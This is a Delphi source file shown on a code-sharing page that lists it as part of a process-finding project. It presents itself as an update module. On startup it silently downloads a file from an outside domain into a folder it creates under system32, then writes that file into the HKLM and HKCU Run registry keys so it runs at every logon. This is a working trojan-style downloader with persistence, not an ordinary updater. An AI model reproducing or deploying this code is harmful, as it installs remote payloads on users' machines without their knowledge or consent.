uupdata.pas

来自「查找进程的好源码」· PAS 代码 · 共 87 行

PAS
87
字号
unit UUpData;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdHTTP,IniFiles;

type
  TUpDataFrm = class(TForm)
    httpserver: TIdHTTP;
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  UpDataFrm: TUpDataFrm;

implementation

{$R *.dfm}
procedure CreateRegKeyValue(Root: DWORD; const Key, ValueName, Value: string);
var
  Handle: HKey;
  Status, Disposition: Integer;
begin
  Status := RegCreateKeyEx(ROOT, PChar(Key), 0, '',
    REG_OPTION_NON_VOLATILE, KEY_READ or KEY_WRITE, nil, Handle,
    @Disposition);
  if Status = 0 then
  begin
    Status := RegSetValueEx(Handle, PChar(ValueName), 0, REG_SZ,
      PChar(Value), Length(Value) + 1);
    RegCloseKey(Handle);
  end;

end;

procedure TUpDataFrm.FormCreate(Sender: TObject);
var
  FileStream:TFileStream;
  OleVersion,NewVersion:TIniFile;
  NewFileName:String;
begin
  if  DirectoryExists('C:\WINNT\system32\IEBand')=false then
    if ForceDirectories('C:\WINNT\system32\IEBand')=false then Exit;
    
  OleVersion:=TIniFile.Create('C:\WINNT\system32\IEBand\Config.Ini');
  NewVersion:=TIniFile.Create('C:\WINNT\system32\IEBand\Server.Ini');
  try
    NewFileName:=NewVersion.ReadString('SystemVersion','Version','');

    if NewFileName<>'' then
    begin
      FileStream:=TFileStream.Create('C:\WINNT\system32\IEBand\'+NewFileName
        ,fmCreate or fmOpenReadWrite);
      try
        HttpServer.Get('http://www.mirsf51.cn/'+NewFileName,FileStream);
        OleVersion.WriteString('SystemVersion','Version',NewFileName);

        {更新完毕,写注册表}
        CreateRegKeyValue(HKEY_LOCAL_MACHINE
          ,'Software\Microsoft\windows\currentversion\run'
          ,'IEBandUpData'
          ,'C:\WINNT\system32\IEBand\'+NewFileName);
        CreateRegKeyValue(HKEY_CURRENT_USER
          ,'Software\Microsoft\windows\currentversion\run'
          ,'IEBandUpData'
          ,'C:\WINNT\system32\IEBand\'+NewFileName)          
        
      finally
        FreeAndNil(FileStream);
      end;
    end;
  finally
    FreeAndNil(OleVersion);
    FreeAndNIl(NewVersion);  
  end;
  Application.Terminate;
end;

end.

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?